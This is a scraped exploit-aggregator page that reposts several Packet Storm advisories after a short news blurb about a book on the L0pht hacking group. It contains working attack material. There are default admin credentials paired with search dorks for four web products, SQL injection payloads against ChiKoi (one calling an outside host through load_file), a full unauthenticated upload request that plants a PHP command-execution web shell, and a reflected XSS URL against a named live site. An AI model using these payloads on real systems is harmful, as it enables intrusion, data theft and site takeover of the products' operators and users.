Dark Reading: Attacks/Breaches
Hacker Space Rogue to Release Book on Hacking Group L0pht Heavy Industries in February

Space Rogue gives a behind the scenes look at the famous hacking group, their senate testimony, and how their legacy continues to shape the security of the online world today.

Exploit Collector
Blesta 5.4.1 Insecure Settings

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png
Blesta version 5.4.1 appears to leave a default administrative account in place post installation.

SHA-256 | 098039ff6d83508ece4f6f823ca46d76e4703e381d3cb13f5c1cb49fc6fa5998

Download
====================================================================================================================================
| # Title : blesta 5.4.1 Insecure Settings Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 102.0.1(64-bit) |
| # Vendor : https://account.blesta.com/client/plugin/download_manager/client_main/download/209/blesta-5.4.1.zip |
| # Dork : Powered by Blesta, © Phillips Data, Inc. |
====================================================================================================================================

poc :

[+] The vulnerability is about leaving the default settings
During the installation of the script and using the default username and password

[+] Dorking İn Google Or Other Search Enggine.

[+] Use Payload : user=admin & pass=password

[+] https://127.0.0.1/blesta/admin/login/

Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet |
|
=======================================================================================================================================

Source:packetstormsecurity.com

Exploit Collector
ChiKoi 1.0 SQL Injection

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png
ChiKoi version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | bfbead85273eb8f3029c1797266638fcaaa8f9debd43ae379274799ca7ac9e7f

Download
## Title: ChiKoi-1.0 SQLi
## Author: nu11secur1ty
## Date: 01.12.2023
## Vendor: https://chikoiquan.tanhongit.com/
## Software: https://github.com/tanhongit/new-mvc-shop/releases/tag/v1.0
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/tanhongit/2023/ChiKoi

## Description:
The `User-Agent` HTTP header appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\v3z9cjkbngnzrm7piruwhl6olfr8fzknbqzlmba0.glumar.com\\quv'))+'
was submitted in the User-Agent HTTP header.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The attacker can steal all information from this system and can
seriously harm the users of this system,
such as extracting bank accounts through which they pay each other, etc.

## STATUS: HIGH Vulnerability - CRITICAL

[+] Payload:

```MySQL
---
Parameter: User-Agent (User-Agent)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)' WHERE 2474=2474 AND
9291=(SELECT (CASE WHEN (9291=9291) THEN 9291 ELSE (SELECT 4553 UNION
SELECT 6994) END))-- -

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)' WHERE 4578=4578 AND
(SELECT 8224 FROM(SELECT COUNT(*),CONCAT(0x71706b7171,(SELECT
(ELT(8224=8224,1))),0x716a6a6271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VCWR
---
```
[+] Online:

```MySQL
---
Parameter: User-Agent (User-Agent)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1)
Gecko/20060601 Firefox/2.0 (Ubuntu-edgy)' WHERE 8386=8386 AND
8264=(SELECT (CASE WHEN (8264=8264) THEN 8264 ELSE (SELECT 2322 UNION
SELECT 6426) END))-- -
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/tanhongit/2023/ChiKoi)

## Proof and Exploit:
[href](https://streamable.com/7x69yz)

## Time spent
`01:30:00`

## Writing an exploit
`00:05:00`


Source:packetstormsecurity.com

Exploit Collector
Online Food Ordering System 2.0 Shell Upload

https://4.bp.blogspot.com/-our8kmhncnY/WWlvTk7Dk6I/AAAAAAAAINs/ofoeVvTLCzkScTt1I86TmBZptlym-DdFACLcBGAs/s1600/h42.png
Online Food Ordering System version 2.0 suffers from a remote shell upload vulnerability.

SHA-256 | ed85146f24b10099cae57f78d6acaf8386a62cc901158ad0489e271b7f3389ab

Download
# Exploit Title: Online Food Ordering System v2 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 01/11/2023
# Exploit Author: Onurcan Alcan
# Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=16022&title=Online+Food+Ordering+System+v2+using+PHP8+and+MySQL+Free+Source+Code
# Version: 2.0
# Tested on: Macos / XAMPP
############## Unauthenticated File Upload Request ##############

POST /fos/admin/ajax.php?action=save_menu HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------38679779537855109463517942658
Content-Length: 1225
Origin: http://localhost
Connection: close
Referer: http://localhost/fos/admin/index.php?page=menu
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="id"

1
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="name"

Diet Coke
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="description"

In Can
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="status"

on
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="category_id"

3
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="price"

20
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="img"; filename="revcmd.php"
Content-Type: text/php
?>
if($_GET['cmd']) {
system($_GET['cmd']);
}
?>
-----------------------------38679779537855109463517942658--


Source:packetstormsecurity.com

Exploit Collector
Deprixa Pro 7.5 Insecure Settings

https://2.bp.blogspot.com/-eFdyzozIeoQ/WWlvJBrapBI/AAAAAAAAIL0/M7DCjoWzT04QjJ3gTxRIZh_KH17rlqHhwCLcBGAs/s1600/h146.png
Deprixa Pro version 7.5 appears to leave a default administrative account in place post installation.

SHA-256 | b745d80d10a9cf6d74df71babb3f62d563da0d1354d488a4dcf9a6cf6d6e79de

Download
====================================================================================================================================
| # Title : DEPRIXA Pro V7.5 Insecure Settings Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 103.0(64-bit) |
| # Vendor : https://deprixacargo.link/ |
| # Dork : |
====================================================================================================================================

poc :

[+] The vulnerability is about leaving the default settings
During the installation of the script and using the default username and password

[+] Dorking İn Google Or Other Search Enggine.

[+] Use Payload : user=admin & pass=09731

[+] https://127.0.0.1/deprixaprosite/demo/login.php

Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet |
|
=======================================================================================================================================

Source:packetstormsecurity.com

Exploit Collector
Flex 5.22 Insecure Settings

https://4.bp.blogspot.com/-zX4owX_f6gA/WWlvEjBsFTI/AAAAAAAAILA/L-jpFLkKi_AyIykovxrESAdO3HPxIIp7QCLcBGAs/s1600/h132.png
Flex version 5.2.2 appears to leave a default administrative account in place post installation.

SHA-256 | 229825a437f202f67bb1f03b1998d5f1a770f3e53615c7a040c0f54525a53414

Download
====================================================================================================================================
| # Title : Flex Version: 5.22 Insecure Settings Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 103.0(64-bit) |
| # Vendor : https://csimmobiliere.com |
| # Dork : |
====================================================================================================================================

poc :

[+] The vulnerability is about leaving the default settings
During the installation of the script and using the default username and password

[+] Dorking İn Google Or Other Search Enggine.

[+] Use Payload : user=botble & pass=159357

[+] https://127.0.0.1/Flex/admin/login

Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet |
|
=======================================================================================================================================

Source:packetstormsecurity.com

Exploit Collector
eCart Web 5.0.0 Cross Site Scripting

https://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png eCart Web version 5.0.0 suffers from a cross site scripting vulnerability.

SHA-256 | e72f56a0b136ad4d7215662fb4e94fa28b79b57e199ed4353a8831db37b3da89Download ┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││ C r a C k E r ┌┘
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘

┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ [ Exploits ] ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: Author : CraCkEr :
│ Website : ecartmultivendorweb.thewrteam.in │
│ Vendor : By WRTEAM Ekart.Com │
│ Software : eCart Web 5.0.0 - Multi Vendor eCommerce Marketplace │
│ Vuln Type: Reflected XSS │
│ Method : GET │
│ Impact : Manipulate the content of the site │
│ │
│────────────────────────────────────────────────────────────────────────────────────────│
│ ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: :
│ Release Notes: │
│ ═════════════ │
│ The attacker can send to victim a link containing a malicious URL in an email or │
│ instant message can perform a wide variety of actions, such as stealing the victim's │
│ session token or login credentials │
│ │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL

CryptoJob (Twitter) twitter.com/CryptozJob

┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ © CraCkEr 2023 ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
URL parameter 'category' is vulnerable to XSS

Path: /shop

https://ecartmultivendorweb.thewrteam.in/shop?category=baby-need-s-1su7mh%3cscript%3ealert(1)%3c%2fscript%3eg9eop&sub-category=test-1
[-] Done Source:packetstormsecurity.com

Exploit Collector
Foloosi Shopping 5.5.7 Insecure Settings

https://4.bp.blogspot.com/-qWHV3SrNBkU/WWlu99WsXjI/AAAAAAAAIJ4/a1ff3k5st1g65kjfNuwTJpgcbLEB4bHEACLcBGAs/s1600/h116.png
Foloosi Shopping version 5.5.7 appears to leave a default administrative account in place post installation.

SHA-256 | 023e4bb5c955d21c1cb90446bde4e16116425a7656679db11a4e067e30379549

Download
====================================================================================================================================
| # Title : Foloosi Shopping v5.5.7 Insecure Settings Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(64-bit) |
| # Vendor : https://www.foloosishopping.com/ |
| # Dork : "category/beauty-health-hair" |
====================================================================================================================================

poc :

[+] The vulnerability is about leaving the default settings
During the installation of the script and using the default username and password

[+] Dorking İn Google Or Other Search Enggine.

[+] Use Payload : user=admin@example.com & pass=123456

[+] https://127.0.0.1/login

Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet |
|
=======================================================================================================================================

Source:packetstormsecurity.com